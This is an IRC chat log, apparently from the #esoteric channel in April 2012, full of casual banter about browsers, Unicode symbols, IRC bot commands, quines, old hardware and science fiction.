03:29:35 <elliott> Mine does that, because ARCH BLEEDING EDGE FOREVER.
03:29:55 <coppro> I just had either the best or worst idea ever
03:29:55 <elliott> There's actually stable, beta, dev, canary channels or something like that, and stable is the Chrome everyone on Windows/OS X gets unless they do something special.
03:30:12 * pikhq_ mutters at presentationing
03:30:17 <elliott> Chrome's versioning scheme works because it doesn't really have "releases", on Windows and OS X it literally just updates silently, you never even see the version unless you look for it... with Firefox they still make a big deal out of every release
03:30:23 <elliott> which is just ridiculous with the kind of schedule they go at now
03:30:38 <pikhq_> Yeah...
03:30:46 <kmc> so the stable channel actually gets new bugfixes without pulling every new feature?
03:30:56 <kmc> or is it just an older version on the same linear sequence
03:31:26 <elliott> kmc: Well, it gets bugfixes. Then it gets the new features periodically.
03:31:31 <coppro> so one of the problems with voice recognition is that it is really difficult to decontextualize symbols
03:31:35 <elliott> It's not just "50 revisions ago", no.
03:31:45 <coppro> e.g. "join #esoteric"
03:31:50 <elliott> It's basically Debian testing vs. Debian unstable vs. Debian experimental.
03:31:54 <coppro> the solution is to have verbal escapes
03:32:05 <coppro> "join <click>pound esoteric"
03:32:16 <elliott> hey, what's a good Unicode character to use to separate lines in a terminal in a linear setting?
03:32:21 <elliott> $ ls <MARK> foo.c bar.c
03:32:43 <kmc> there's a symbol for "carriage return" no?
03:32:54 <monqy>
03:33:36 <elliott> PFSC updated several times and nobody told me :(
03:33:38 <shachaf> hi monqy
03:33:39 <elliott> kmc: oh, yes, I think so
03:33:43 <elliott> but wouldn't LF be more appropriate?
03:33:49 <monqy> hi shachaf
03:33:51 <shachaf>
03:34:04 <coppro> you all know it to be true
03:34:10 <shachaf>
03:34:13 <elliott> WHICH ONE ;_;
03:34:16 <pikhq_>
03:34:19 <pikhq_> Definitely that.
03:34:28 <shachaf>
03:34:29 <elliott> Would a pilcrow be inappropriate? That thing is a little small.
03:34:37 <monqy>
03:34:38 <coppro> haha
03:34:48 <coppro> pilcrow would be inappropriate
03:35:28 <coppro> I would go with U+244A: ⑊
03:35:42 <elliott> coppro: oh, that's a good one
03:35:47 <elliott> I went with RIGHT ARROW in the end
03:35:53 <elliott> since it was describing a result
03:36:06 <elliott> oh, that's OCR DOUBLE BACKSLASH
03:36:07 <elliott> so unsemanti
03:36:08 <elliott> c
03:36:24 <shachaf>
03:36:31 <shachaf> OCR CHAIR
03:36:36 <shachaf> so semanti
03:36:36 <shachaf> c
03:36:46 <coppro> elliott: do you know of Fake Unicode Consortium?
03:37:54 <elliott> Yes.
03:38:23 <elliott> @tyme
03:38:23 <lambdabot> Maybe you meant: time type
03:38:26 <elliott> @time
03:38:26 <lambdabot> Local time for elliott is Tue Apr 3 04:38:23
03:38:33 <elliott> Wait, why didn't that work?
03:38:37 <elliott> What does lambdabot *do* to typo-correct?
03:38:58 <pikhq_> @thyme
03:38:58 <lambdabot> Maybe you meant: time type
03:39:07 <monqy> @hi
03:39:10 <ion> @tine
03:39:10 <RocketJSquirrel> elliott: Edit distance of two unless that's ambiguous.
03:39:13 <lambdabot> Local time for ion is Tue Apr 3 06:38:40 2012
03:39:15 <elliott> RocketJSquirrel: Ohh, right.
03:39:21 <elliott> Silly babmguity.
03:39:25 <pikhq_> @tim
03:39:27 <elliott> ion: Go to bed.
03:39:28 <lambdabot> Local time for pikhq_ is Mon Apr 2 21:38:55 2012
03:39:31 <elliott> @tm
03:39:31 <lambdabot> Maybe you meant: . ? @ bf do ft id pl rc thx time v wn
03:39:34 <elliott> @thx
03:39:34 <lambdabot> you are welcome
03:39:38 <elliott> @ft
03:39:39 <lambdabot> Done.
03:39:41 <elliott> help
03:39:46 <ion> elliott: A crapload of homework to finish. It looks like i won’t make the deadline, though.
03:40:10 <ion> So might as well go to sleep. :-P Except that i’ve taken some caffeine.
03:42:30 <elliott> I hope time is going backwards now.
03:42:31 <elliott> @tіmе
03:42:33 <lambdabot> Local time for elliott is Tue Apr 3 04:12:03
03:42:37 <elliott> Yay!
03:42:57 <monqy> oh no
03:42:59 <monqy> what did you do
03:43:04 <monqy> to time
03:43:13 <elliott> I just spun the clock backwards.
03:44:28 <elliott> @time monqy
03:44:31 <lambdabot> Local time for monqy is Mon Apr 2 20:43:58 2012
03:44:50 <elliott> @time monqy
03:44:51 <lambdabot> Local time for monqy is Mon Apr 3 04:24:09 2012
03:44:58 <elliott> Gosh. Time goes fast in America.
03:45:15 -!- calamari has joined.
03:46:41 <elliott> @time monqy
03:46:43 <lambdabot> Global time for monqy is Sat Apr 47 11:11:666 2012
03:46:48 <elliott> Gosh.
03:47:16 <pikhq_> Shame it won't hand you Discordian dates.
03:47:35 <pikhq_> Today is Boomtime, the 19th day of Discord in the YOLD 3178
03:52:29 <elliott> pikhq_: It will if your client does.
03:53:02 <elliott> @time elliott
03:53:02 <lambdabot> Local time for elliott is hello
03:53:17 <pikhq_> Hmm. Perhaps I should run irssi under sdate, then.
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03:53:53 <elliott> ++
03:55:12 <elliott> wtf
03:55:13 <elliott> arch doesnt have sdate
03:55:21 <pikhq_> Of course, arguably Eternal September dates should be fixed...
03:55:28 <pikhq_> AOL stopped providing Usenet.
03:55:30 <ion> elliott: ddate
03:55:31 <pikhq_> ;)
03:55:54 <elliott> ion: ddate is for losers.
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03:56:44 <elliott> @time
03:56:44 <lambdabot> Local time for elliott is Tue Apr 3 04:56:40
03:56:47 <elliott> What?
03:56:53 <elliott> I'm running it under sdate.
03:56:56 <elliott> Stupid client.
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03:57:18 <ion> elliott: You should ask for your money back.
03:57:47 <ion> elly: You should be named ellyott.
03:58:09 <quintopia> freenode took down their apr fools privacy policy page and i never got a chance to read it. can anyone summarize?
03:58:39 <elliott> It was freenode, and it was an April Fools joke, so the chances of it being funny or worth your time are 0.
03:58:45 <elliott> H - T - H
03:59:32 <RocketJSquirrel> I didn't even realize Freenode did an April Fools prank.
03:59:36 <RocketJSquirrel> I was too busy ponying pony.
03:59:52 <pikhq_> I was too busy procrastinating.
04:00:05 <pikhq_> Also cmakoing, but mostly procrastinating.
04:00:49 <calamari> I was too busy derpying flockdraw
04:01:00 <calamari> -y
04:01:44 <elliott> I... spent a considerable portion of April 1st trying to work around IE8 being a terrible piece of shit.
04:01:48 <elliott> I just realised that now.
04:01:58 <RocketJSquirrel> elliott: So you got pranked pretty hard then.
04:02:38 <calamari> my grandma was still using ie8.. got her moved over to firefox today
04:02:49 <kmc> ddate is for lovers
04:03:21 <elliott> RocketJSquirrel: Guess I'll have to block oerjan.
04:03:40 <RocketJSquirrel> Sounds about right.
04:04:20 <elliott> RocketJSquirrel: I could block oerjan for 1 second, you know.
04:04:22 <elliott> I could do that.
04:07:12 <elliott> http://en.wikipedia.org/wiki/History_of_Oran This is the bestest article ever
04:07:14 <elliott> *ever.
04:09:17 <RocketJSquirrel> I like how you feel the need to correct your punctuation in a sentence in which you used the word "bestest".
04:09:40 <shachaf> @wn bestest
04:09:41 <lambdabot> No match for "bestest".
04:09:47 <elliott> RocketJSquirrel: en-GB-oed-x-elliott
04:09:57 <elliott> Anyway, the missing dot changes the tone.
04:13:59 <Sgeo> elliott, monqy shachaf UPDATE. ALSO ALBUM
04:14:13 <Sgeo> (shachef automatically removed from update list)
04:17:21 <elliott> What?
04:17:22 <elliott> No.
04:17:25 <elliott> Nobody gets removed from the update list.
04:17:30 <elliott> That's unfair.
04:18:34 <Sgeo> shachaf didn't really want to be on i
04:18:35 <Sgeo> it
04:19:45 <elliott> No. Everybody wants to be on the update list.
04:19:48 <elliott> Cease and desist immediately.
04:23:41 <shachaf> Sgeo: Yay!
04:23:45 <shachaf> Sgeo++
04:23:57 <shachaf> @sgeosnack
04:23:58 <lambdabot> Unknown command, try @list
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04:25:07 <elliott> See?
04:25:10 <elliott> shachaf is happy to be on the list.
04:25:44 <shachaf> I'm happy to be off the update list.
04:26:10 <shachaf> I'm also happy for the release of the new albumen.
04:29:34 <elliott> No.
04:29:38 <elliott> You're happy to be on the update list.
04:29:41 <elliott> monqy: Correct shachaf and Sgeo.
04:30:23 <shachaf> monqy: Do you want to be on the update list?
04:32:03 <elliott> Yes.
04:33:28 <elliott> TELL ME TO GO TO SLEEP THAnks
04:36:41 <elliott> help
04:36:44 <elliott> @time
04:36:45 <lambdabot> Local time for elliott is Tue Apr 3 05:36:41
04:36:46 <elliott> NO
04:37:17 <shachaf> elliott: GO TO SLEEP TAnks
04:37:22 <elliott> help
04:37:29 <shachaf> TAnks
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04:39:10 <elliott> @quit
04:40:53 <elliott> goodbye communism
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04:49:39 <monqy> hi im bakcc
04:50:19 <monqy> shachaf: you want to be on the update list
04:50:24 <monqy> Sgeo: shachaf wants to be on the update list
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05:21:59 <itidus21> `pastlog <zzo38.*astro
05:22:32 <HackEgo> No output.
05:30:42 <ais523> itidus21: you might want to try again, HackEgo sometimes screws up the first itme
05:30:43 <ais523> *time
05:31:03 <itidus21> ok but i don't know what i am looking for
05:31:05 <itidus21> `pastlog <zzo38.*astro
05:31:37 <HackEgo> 2011-10-31.txt:01:52:13: <zzo38> I figured out how to use Astrolog to compute the date of Chinese New Year.
05:31:54 <itidus21> whoa
05:38:55 <shachaf> monqy: hi
05:39:15 <shachaf> monqy: what if i wan't to be be on the update list
05:39:22 <shachaf> "wan't" stands for "want not", by the way.
05:41:09 <monqy> but you don't wan't
05:41:22 <shachaf> monqy: what if i dont wan't
05:41:29 <shachaf> dont wan't = don't want
05:41:44 <monqy> you don't dont wan't
05:43:10 <shachaf> i think i do dont wan't
05:43:56 <monqy> you think wrong
05:44:11 <shachaf> i think i think wron'g
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06:17:39 <quintopia> 13:30 * elliott wants to see the programs that generated http://codu.org/eso/bfjoust/in_egobot/ais523_anticipation.bfjoust and http://codu.org/eso/bfjoust/in_egobot/quintopia_space_elevator.bfjoust
06:18:47 <quintopia> elliott: the standard "defend" code is generated by a very very short matlab program. all the structure and attacky stuff was handcoded.
06:26:49 <Madoka-Kaname> bfjoust programs are...
06:27:53 <olsner> ... generated by matlab
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08:48:23 <Taneb> Hello
08:49:06 <Taneb> This David.werecatt seems...
08:49:16 <Taneb> Esolangy
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08:53:45 <Taneb> Also, if we're going to change the featured language every 2 weeks, we're a day late
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09:42:33 <Taneb> Hello
09:42:45 <oerjan> the ho
09:43:14 <shachaf> helloerjan
09:43:27 <shachaf> Moerjan than ever before.
09:43:44 <oerjan> hichaf
09:44:25 <shachaf> http://i.imgur.com/ZUTx3.png
09:44:36 <shachaf> That's me!
09:46:47 <oerjan> wait, you tell facts?
09:47:31 <shachaf> Fact: I tell facts.
10:02:33 * oerjan I feel sick :(
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10:42:41 <Taneb> Hello
10:44:09 <hagb4rd> hi! in know it's kind of out of topic, but maybe you guys can help.. i'm looking for some complete(?) ready-to-go wrapping code to use for interop-operations with c# on the windows API. (because i'm tired of looking up the code for every single function and/or struct as listed on pinvoke.net for example). would you recommend/suggest a source where i could find such code?
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11:12:25 <Phantom_Hoover> So I am in America everything is weird.
11:12:25 <lambdabot> Phantom_Hoover: You have 19 new messages. '/msg lambdabot @messages' to read them.
11:15:48 <Taneb> Phantom_Hoover, why are you in America?
11:16:18 <Phantom_Hoover> Why aren't you in America?
11:16:53 <Taneb> Because I am trapped in elliott's basement
11:18:28 <Phantom_Hoover> Trapped?
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11:18:36 <Taneb> Yes
11:18:38 <Phantom_Hoover> You mean you finally found your way to his house?
11:18:50 <Phantom_Hoover> And then broke into the basement only to discover it's locked?
11:18:51 <Taneb> He found me first
11:20:26 <Phantom_Hoover> Dun-dun-dun!
11:21:14 <Phantom_Hoover> (That's the dun-dun-dun from The Eve of the War from Jeff Wayne's Musical Version of The War of the Worlds, not the normal dun-dun-dun.)
11:21:54 <Taneb> I think I have that on LP
11:24:29 <Phantom_Hoover> I have it on CD somewhere.
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11:46:37 <NSQX> If anyone unblocks me I will work on UniCode, but unfortunately, nobody will.
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12:42:13 <NSQX> @time elly
12:42:14 <lambdabot> Local time for elly is Tue Apr 3 08:41:32 2012
12:42:24 <NSQX> @time NSQX
12:42:25 <lambdabot> Local time for NSQX is Tue Apr 03 20:41:53 2012
12:42:48 <NSQX> @time elliott
12:43:36 <NSQX> Where are the administrators anyway?
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12:48:41 <NSQX> @time elliott
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12:56:35 <Sgeo> NSQX, you ... do know why you're blocked, right?
12:56:47 <Sgeo> And at any rate, your block is of finite duration.
12:56:49 <Taneb> Hello!
12:56:59 <Sgeo> Hi Taneb. Did you see the update and the album?
12:57:03 -!- hagb4rd has quit (Ping timeout: 246 seconds).
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12:57:15 <Taneb> Yes
12:57:58 <NSQX> I'm only waiting for the time when I can ask an administrator to unblock me.
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15:10:36 <elliott> [[
15:10:36 <elliott> 5. IANA Considerations
15:10:37 <elliott> This document explicitly and emphatically, yet very humbly, requests
15:10:37 <elliott> IANA to not create an empty registry for the Null Packet.
15:10:37 <elliott> ]]
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15:27:20 <ion> Meanwhile in April in Finland http://dl.dropbox.com/u/119475/IMG_20120403_074804.jpg
15:29:55 <pikhq_> Yay, snow day.
15:38:12 <elliott> @src IO fail
15:38:12 <lambdabot> fail s = failIO s
15:38:17 <elliott> @src failIO
15:38:17 <lambdabot> failIO s = ioError (userError s)
15:41:36 <elliott> http://stackoverflow.com/questions/9995470/jquery-vs-javascript
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16:14:09 <RocketJSquirrel> elliott: You'd be shocked how commonly that question comes up X_X
16:14:33 <RocketJSquirrel> Note how #jquery has hundreds more members than ##javascript
16:16:05 * elliott remembers telling RocketJSquirrel about jQuery once.
16:16:06 <elliott> HOW FAR HE'S COME
16:19:57 <oerjan> eek something like 39.4 degrees celsius fever
16:21:08 <fizzie> 39.4 degrees F would be an even more alarming temperature, possibly.
16:22:43 <RocketJSquirrel> I think at 39.4F you declare time of death.
16:23:16 <RocketJSquirrel> Of course, 39.4K is even worse.
16:23:24 <elliott> i'm always 39.4K
16:23:26 <elliott> i'm just
16:23:26 <elliott> that
16:23:27 <elliott> cool
16:23:30 <elliott> :shades:
16:23:46 <elliott> thank you ion
16:23:47 <RocketJSquirrel> Of course, it takes elliott days to raise the shades to his eyes with that little kinetic energy.
16:24:02 <pikhq_> RocketJSquirrel: 39.4K is at least low enough that you might be cryonically preserved.
16:24:20 <RocketJSquirrel> pikhq_: Touché.
16:24:22 <pikhq_> So, with future tech you may yet live.
16:24:38 <elliott> That's why I'm immortal.
16:25:15 <elliott> <RocketJSquirrel> Of course, it takes elliott days to raise the shades to his eyes with that little kinetic energy.
16:25:16 <pikhq_> Either you've got knowledge I don't, or you meant to say "I might be immortal"
16:25:23 <elliott> OK but I'm also hot. Cool and hot.
16:25:31 <elliott> Lik, some Peltier shit.
16:25:35 <pikhq_> Oh, wait. 39.4K and moving?
16:25:38 <elliott> *Like,
16:25:40 <pikhq_> Yeah, immortal.
16:25:48 <ion> elliott is like some shit?
16:25:51 <elliott> Yes.
16:25:55 <elliott> I strongly resemble some shit.
16:26:01 <pikhq_> Or incredible. Typing whilst very dead.
16:26:38 <elliott> BTW, I lied, I'm not actually at 39.4K, I'm at absolute zero. My entire body works through incredibly improbable quantum effects.
16:27:02 <pikhq_> Amazing.
16:27:26 <elliott> UNFORTUNATELY my body also decays through those same effects.
16:27:29 <elliott> Science: SO DISAPPONITING
16:27:34 <elliott> *DISAPPORTERJOIFn
16:29:03 * oerjan recalls david niven's liquid helium creatures
16:29:40 <oerjan> wait, wrong name D:
16:29:44 <oerjan> *larry
16:30:02 * oerjan blames it on his fried brain
16:30:20 <elliott> Larry, David, what's the difference.
16:31:12 <pikhq_> Larry Niven is well-known (... among scifi fans). David Niven is not.
16:31:30 <elliott> James David Graham Niven (1 March 1910 – 29 July 1983),[1][2] was a British actor and novelist, best known for his roles as Phileas Fogg in Around the World in 80 Days and Sir Charles Lytton, a.k.a. "the Phantom", in The Pink Panther. He was awarded the 1958 Academy Award for Best Actor in Separate Tables.
16:31:41 <elliott> Sounds more well-known than Larry Niven to me!
16:31:41 <pikhq_> oerjan: Outsiders, I assume?
16:31:48 <oerjan> pikhq_: yes
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16:33:36 <pikhq_> elliott: Bah.
16:34:35 <elliott> (Article at [[David Niven]] so presumably that's his common name)
16:35:30 <RocketJSquirrel> elliott: So where's our changesbot.
16:36:09 <RocketJSquirrel> elliott: And why don't you know how to spell "vandalism"?
16:36:52 <elliott> RocketJSquirrel: Our changesbot inexplicably doesn't work, despite producing the correct output when not piped into netcat.
16:37:09 <elliott> And because I was putting a lot of es on the page so I did it on purpose ergo fuck you.
16:37:50 <elliott> RocketJSquirrel: I'll probably try and get it working today.
16:37:54 <elliott> But it's a reaaaally weird bug.
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17:11:33 <ion> https://twitter.com/#!/DonaldGlover/statuses/29592754602381313
18:09:35 <elliott> @tell ais523 I like how everyone completely ignored your coming-clean post on rgrn.
18:09:36 <lambdabot> Consider it noted.
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18:46:31 <nortti> perfect! My HD broke today
18:47:39 <elliott> What a coincidence! Mine didn't!
18:51:31 <ion> That’s their other main function.
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18:52:47 <nortti> so tomorrow I am going to set up my Thinkpad t20 with 700MHz Pentium III, 64MB of RAM and 30GB HD that is missing the screen as my main computer
18:53:27 <elliott> But what type is the RAM?!
18:53:50 <nortti> elliott: PC100
18:54:52 <elliott> thx
18:56:57 <olsner> I wonder what elliott will do with this information
18:58:48 <elliott> build a clone
18:59:39 <elliott> hello, I have next problem I want to use polymorphic data-type that should have two operations (+) and *const
18:59:41 <elliott> so in that type I want to use Num, Vector Num, and maybe types or so
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19:00:04 <olsner> `quote SDRAM
19:00:14 <HackEgo> 804) <olsner> the allocation is done by the "Dynamic" in DRAM <olsner> before that we used SRAM where everything was preallocated in the factory <fizzie> olsner: So what's this SDRAM then? <olsner> fizzie: synchronized, it's for multithreading
19:02:12 <nortti> elliott: why do you want to build a clone? it also has two windows licenes taped to it (98, XP Pro) and nothing to keep HD inside
19:02:43 <olsner> PC100 SDRAM allows up to 100 PCs (processing contexts, usually called threads nowadays) per memory module
19:03:49 <nortti> olsner: what about DDR RAM?
19:04:29 <elliott> nortti: Can you tell me the screen resolution? Thx
19:05:45 <nortti> elliott: using a external monitor on 1024x768
19:07:40 <elliott> Thx
19:08:20 <nortti> but why do you really want this information?
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19:09:23 <elliott> That's classified. Well, it's not, but I'd probably get arrested if I told you.
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19:10:44 <elliott> shachaf: http://www.reddit.com/r/haskell/comments/rrijm/could_somebody_explain_the_concept_behind_storing/
19:13:40 <shachaf> elliott: blubbar raises some good, thought-provoking questions.
19:14:10 <shachaf> Many a sage has wondered "Why is there in expression and nothing done with it? The $ should curry i guess, but why is this not given a name? (And why isn't it lost?)"
19:14:30 <shachaf> "How the hell is this pure?" is one of the great unsolved problems of our time.
19:14:57 <olsner> nortti: double data rate, it allows two threads to use memory at the same time
19:15:09 <olsner> theoretically doubling bandwidth, but latency increases a bit when switching contexts
19:15:11 <shachaf> And of course "Is there \"State in Haskell for retards?\"" is a question that any child could understand, but few could answer.
19:15:14 <nortti> first time my HD broke I lost almost all of the data, second time I lost few important files and this time I only lost two hour worth of irc logs.
19:22:08 <nortti> "There's really only so many basic stories that can exist. The main character is trying to get somewhere (the Odyssey), get something (the legend of the Golden Fleece), win someone's heart (the Iliad), get revenge (Cain and Abel) or save the world ( Bill and Ted's Excellent Adventure)."
19:23:16 <RocketJSquirrel> Or have sex.
19:23:27 <RocketJSquirrel> Note distinction from winning someone's heart.
19:23:32 <RocketJSquirrel> All you really want is their naughty bits.
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19:27:32 <shachaf> elliott: Just solving all those problems quickly, eh?
19:27:39 <shachaf> Movin' along at a vector's pace.
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19:39:03 <pikhq> RocketJSquirrel: Ah, yes, early Spock/Kirk slash.
19:40:12 <elliott> "I remember it well!"
19:40:40 <pikhq> elliott: Actually, can't say I've read any. Just random snarking.
19:40:55 <elliott> Suuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuure.
19:41:41 <pikhq> Besides, not exactly the target audience for most slash fic. They kinda target women who like hot man-sex. :P
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19:43:17 <elliott> hi ais523
19:43:20 <elliott> we had an IP spammer!
19:43:55 <ais523> hi
19:43:55 <lambdabot> ais523: You have 1 new message. '/msg lambdabot @messages' to read it.
19:44:10 <olsner> looks like turkish
19:44:16 <ais523> elliott: I don't like it so much
19:44:19 <ais523> perhaps they'll respond to it later
19:44:26 <ais523> or perhaps they're trying to think up an appropriate response
19:44:37 <ais523> note that it wasn't /completely/ ignored, I've had at least one private response
19:44:40 <ais523> but it was private for a reason, so…
19:45:00 <elliott> ais523: Was it a DevTeam member yelling at you?
19:45:05 <ais523> no
19:45:05 <elliott> If you whisper, the secret is safe.
19:45:08 <elliott> Aw.
19:45:10 <elliott> ais523: Was it a DevTeam member not yelling at you?
19:45:18 <ais523> no, it wasn't a devteam member at all
19:45:34 <elliott> Lame.
19:45:38 <elliott> Was it a non-DevTeam member yelling at you?
19:45:49 <olsner> what's devteam?
19:45:59 <elliott> olsner: The NetHack "developer" team.
19:46:00 <ais523> olsner: the group of people who are theoretically supposed to be developing NetHack
19:46:19 <olsner> aha
19:46:35 <elliott> I will take ais523's silence... as affirmation!
19:49:10 <RocketJSquirrel> <pikhq> Besides, not exactly the target audience for most slash fic. They kinda target women who like hot man-sex.
19:49:15 <RocketJSquirrel> And/or men who like hot man-sex.
19:49:37 <pikhq> RocketJSquirrel: Not really.
19:50:15 <RocketJSquirrel> augur: Your expert opinion is needed to settle a dispute.
19:51:18 <elliott> augur, Hot Man Sex Consultant
19:51:33 <elliott> (More like Hot Man Sex-Consultant amiright??? lololololol xkcd)
19:51:37 <pikhq> Also, augur isn't here ATM.
19:51:38 <olsner> or slash fix target audience consultant
19:51:41 <RocketJSquirrel> pikhq: NORLY
19:51:45 <olsner> *fic
19:51:52 <RocketJSquirrel> Gotta get my slash fic slash fix.
19:52:11 <RocketJSquirrel> WELP BACK TO CLOPFICS FOR ME KTHX
19:52:23 <olsner> clopfix?
19:52:42 <RocketJSquirrel> I invite you to look up the term 8-D
19:53:04 <pikhq> I can infer.
19:53:10 <olsner> there's a clop (or clop-something? don't remember the name) reddit, it was intriguing
19:57:10 <RocketJSquirrel> Uhhhh, guys?
19:57:13 <RocketJSquirrel> Need some brain bleach?
19:58:42 <pikhq> I was raised on the Internet; it is hard to shock me anymore.
19:58:46 <pikhq> I have seen... Things.
19:58:58 <RocketJSquirrel> Sometimes they spin.
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20:01:31 <elliott> He's here now!
20:03:13 -!- augur has quit (Remote host closed the connection).
20:03:42 <monqy> bye augur
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20:30:11 <elliott> "The hypothetical person lacking a sense of humour would likely find the behaviour induced by humour to be inexplicable, strange, or even irrational." -- Wikipedia, [[humour]]
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20:31:09 <olsner> it's probably strange, inexplicable and irrational enough even if you know what's going on
20:33:05 <ais523> there's a short story by Asimov where someone asks Multivac for the reason humour exists
20:34:20 <pikhq> That was a good story.
20:47:25 -!- RocketJSquirrel has set topic: For Sale: Infinite Tape, Never Used | Richard Feynman was also here | Zombie Feynman's Trivial Theorem: It's trivial! It's trivial! | http://codu.org/logs/_esoteric/.
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21:24:53 <ais523> elliott: gah, see recent edits to [[Entropy]]
21:24:55 <ais523> my brain is melting slightly
21:24:59 <ais523> well, probably not
21:25:03 <ais523> just feels like it
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21:36:04 <Phantom_Hoover> hello
21:36:05 <lambdabot> Phantom_Hoover: You have 2 new messages. '/msg lambdabot @messages' to read them.
21:45:39 <elliott> @time Phantom_Hoover
21:45:40 <lambdabot> Local time for Phantom_Hoover is Tue Apr 3 21:42:11
21:46:07 <Phantom_Hoover> I haven't changed the time zone on my laptop, unsurprisingly.
21:47:12 <elliott> Sure thing, Phantom "actually in Gettysburg St., America, Scotland" Hoover.
21:54:51 <shachaf> elliott: "more of" is stretching it.
21:55:50 <elliott> shachaf "more of" shachaf
21:56:39 <shachaf> elliott "yields falsehood when quoted and placed as his own middle name" elliott
21:56:57 <elliott> I disagree.
21:57:19 <shachaf> elliott "i disagree" elliott
21:58:31 <ais523> shachaf: so elliott "elliott" elliott is a liar?
21:58:50 <elliott> ais523: no, elliott "yields falsehood when quoted and placed as his own middle name" elliott is
21:59:20 <ais523> but no, that's referring to the wrong thing there
21:59:25 <ais523> ^ul (:aSS):aSS
21:59:26 <fungot> (:aSS):aSS
21:59:38 <ais523> this is a quine because the bits inside the parens are used to generate the bits outside the parens
21:59:42 <ais523> ^ul (elliott):aSS
21:59:42 <fungot> (elliott)elliott
21:59:49 <ais523> whereas that's closer to the example shachaf gave
21:59:56 <shachaf> > text$ap(++)show"text$ap(++)show"
21:59:57 <lambdabot> text$ap(++)show"text$ap(++)show"
21:59:59 <ais523> it generates extra elliotts, rather than quining
22:00:11 <ais523> > text$ap(++)show"elliott"
22:00:13 <lambdabot> elliott"elliott"
22:00:26 <shachaf> Did I accidentally generate an extra elliott. :-(
22:00:26 <ais523> see the difference?
22:00:29 <shachaf> That sounds dangerous.
22:00:43 <elliott> hi hi
22:00:49 <shachaf> Uh-oh.
22:00:55 <elliott> what what
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22:09:44 <elliott> is oerjan ghost
22:10:22 <oerjan> i'm not sure, but i'm checking my fever again
22:10:46 <Phantom_Hoover> "ns151 delivers a righteous speech directed against the anti-American rhetoric on Reddit." (r/bestof)
22:10:50 <Phantom_Hoover> This could go either way.
22:11:55 <Phantom_Hoover> It went the wrong way.
22:12:21 <elliott> Phantom_Hoover: tl;dr "OK, our country is really terrible and shitty, but we're not North Korea, also if any other country had our resources they'd be literally Satan too, so there, and also people who want to leave are cowards and fuck them".
22:12:33 <elliott> (Last part only barely paraphrased: "And to the Americans who come on here and whine about how much they want to leave and go to live in places they have never even visited: fuck you. Not in a "love America or get the fuck out" kind of way, but because you are an embarrassment to everything this country was founded on 230 years ago. You'd rather just pack up and leave than stay and fight for what you believe in.")
22:14:56 <Phantom_Hoover> Yes, I saw.
22:15:12 <elliott> (Also "rhetoric", as if reddit is home to anything that could be non-sarcastically described as rhetoric.)
22:17:21 <oerjan> hm it's slightly up to 39.6, but i'm feeling _less_ shitty
22:17:35 -!- oerjan has set topic: For Sale: Infinite Tape, Never Used | Richard Feynman was also here | Zombie oerjan's Trivial Theorem: It's trivial! It's trivial! | http://codu.org/logs/_esoteric/.
22:18:35 <ais523> oerjan: I hope you recover soon
22:19:01 -!- Patashu has joined.
22:19:08 <oerjan> i hope so too, i'm worried about not getting food bought for the holidays
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22:19:53 <elliott> wtf, since when are we nice to suffering people in here!
22:19:58 -!- augur_ has joined.
22:20:11 <elliott> oerjan: i hope you recover slowly. (see, that's a half-way point!)
22:20:17 <oerjan> yay!
22:20:46 <ais523> elliott: we were pretty nice to you when you were suffering
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22:21:45 <elliott> ais523: no, that was feigned to get on my good side, because you don't want to be the ones suffering when i rise to president of the world and my new world order begins
22:21:58 <elliott> at least, everyone else's was. my condolences if you had to settle for sincerity :P
22:22:18 <ais523> elliott: would you believe /me/ to be insincere about something like that?
22:22:22 <ais523> remember that I'm lawful good ;)
22:22:25 <Phantom_Hoover> What's oerjan suffering?
22:22:31 <Phantom_Hoover> ais523, more like lawful obnoxious.
22:22:51 <ais523> lawful good people are famously obnoxious
22:23:14 <elliott> Did anyone ever work out what I am?
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22:23:43 <Phantom_Hoover> elliott, chaotic annoying.
22:24:00 <elliott> I just checked, I'm not chaotic.
22:24:16 <elliott> Oh, hmm.
22:24:21 <elliott> I'm not original-meaning-of-chaotic.
22:24:30 <elliott> I might be new-meaning-of-chaotic.
22:24:41 <elliott> Neutral seems more likely to me, though.
22:31:01 <RocketJSquirrel> Chaotic neutral.
22:31:52 <elliott> RocketJSquirrel: I don't see how I'm neutral on the good/evil alignment...
22:32:05 <Phantom_Hoover> http://www.reddit.com/r/scifi/comments/rm5o4/does_hard_scifi_even_exist_in_hollywood/
22:32:20 <Phantom_Hoover> "I'm looking for a film that displays at least a hint of scientific accuracy."
22:32:43 <Phantom_Hoover> How about Citizen Kane?
22:32:48 <elliott> The Core
22:32:59 * oerjan hi five elliott
22:33:19 <elliott> What, were you going to say that too?
22:33:23 <elliott> I am so unoriginal. :(
22:33:28 <oerjan> i considered it.
22:33:54 <RocketJSquirrel> Until it goes all loopy, 2001: A Space Odyssey is reasonably hard. Then it's just high.
22:35:05 <RocketJSquirrel> MST3K had a review of an extremely hard sci-fi.
22:35:16 <RocketJSquirrel> The fact that it was on MST3K tells you how well hard sci-fi does.
22:35:30 <RocketJSquirrel> It had relativity and generation ships and such.
22:35:57 <elliott> Frankly hard sci-fi with the explicit intention of being hard tends to be pretty terrible.
22:36:27 <RocketJSquirrel> Mainly because the real universe is pretty fucking depressing ^^
22:36:27 <Phantom_Hoover> Depends on what you're looking for.
22:36:39 <elliott> "However, because Virgil was not designed to jettison undamaged compartments, the plan requires someone to deactivate a safety switch in Virgil that is located in an area exposed to the extreme temperatures of the core. Brazzelton volunteers and successfully deactivates the switch, dying shortly afterwards."
22:36:54 <elliott> I... don't think the writers fully understood how hot the Earth's core is?
22:37:07 <RocketJSquirrel> lol
22:37:19 <elliott> "Oh, sure, I'll sacrifice mysAAAAAAAAAAERIOHGl'f'"
22:37:21 <RocketJSquirrel> elliott: He flips the switch during the microsecond before he's fully evaporated.
22:37:34 <Phantom_Hoover> "Wouldn't it be cool if..." can be good, sometimes, but invariably scrimp on the non-central science involved (cf. Tau Zero), and "I WILL WRITE HARD SCI-FI" invariably has a terrible plot and a boring setting.
22:37:56 <RocketJSquirrel> There's got to be at least a few that are hard-modulo-FTL.
22:38:09 <RocketJSquirrel> Which is pretty much the minimum acceptable to avoid being depressing as fuck.
22:38:24 <elliott> Phantom_Hoover: I mean, interesting hard sci-fi is interesting because it's about the effects of technology on people, society, etc.
22:38:39 <ais523> hmm, asimov's books tend to avoid contradictions with existing science, they just invent new bits of science too
22:38:43 <elliott> But the kind of people who care the sci-fi is AS HARD AS POSSIBLE tend to consider writing stories about things like "people" beneath them.
